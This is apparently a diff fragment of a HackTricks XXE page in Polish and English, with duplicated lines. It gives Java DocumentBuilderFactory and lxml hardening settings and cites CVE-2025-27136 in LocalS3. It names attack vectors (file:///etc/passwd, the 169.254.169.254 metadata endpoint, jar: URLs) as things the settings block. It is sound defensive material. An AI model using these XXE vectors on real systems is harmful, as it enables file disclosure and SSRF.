* Wyłącz `load_dtd` i/lub `resolve_entities`, chyba że jest to absolutnie konieczne. * Wyłącz `load_dtd` i/lub `resolve_entities`, chyba że jest to absolutnie konieczne.
* Unikaj zwracania surowych błędów parsera do klienta. * Unikaj zwracania surowych błędów parsera do klienta.
## Odniesienia ### Przykład wzmocnienia Java DocumentBuilderFactory
Aplikacje Java często analizują XML za pomocą `DocumentBuilderFactory`. Domyślnie fabryka **zezwala na rozwiązywanie encji zewnętrznych**, co czyni ją podatną na XXE i SSRF, jeśli nie są ustawione dodatkowe flagi wzmacniające:
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
```
Przykład bezpiecznej konfiguracji:
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// Completely forbid any DOCTYPE declarations (best-effort defence)
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// Disable expansion of external entities
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Enable "secure processing" which applies additional limits
dbf.setFeature(javax.xml.XMLConstants.FEATURE_SECURE_PROCESSING, true);
// Defensive extras
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
```
Jeśli aplikacja musi wspierać DTD wewnętrznie, pozostaw `disallow-doctype-decl` wyłączony, ale **zawsze** ustawiaj dwa `external-*-entities` na `false`. Ta kombinacja zapobiega klasycznym atakom ujawniającym pliki (`file:///etc/passwd`) oraz wektorom SSRF opartym na sieci (`http://169.254.169.254/…`, protokół `jar:`, itp.).
Studium przypadku z rzeczywistego świata: **CVE-2025-27136** w emulatorze Java S3 *LocalS3* używał podatnego konstruktora pokazane powyżej. Nieautoryzowany atakujący mógł dostarczyć spreparowane ciało XML do punktu końcowego `CreateBucketConfiguration` i sprawić, że serwer osadzi lokalne pliki (na przykład `/etc/passwd`) w odpowiedzi HTTP.
## References
- [OffSec Blog CVE-2025-27136 LocalS3 XXE](https://www.offsec.com/blog/cve-2025-27136/)
- [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf) - [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)
- [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html) - [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)
@ -753,6 +781,6 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
- [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7) - [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42) - [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Encja-parametr XXE nadal możliwa](https://bugs.launchpad.net/lxml/+bug/2107279) - [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}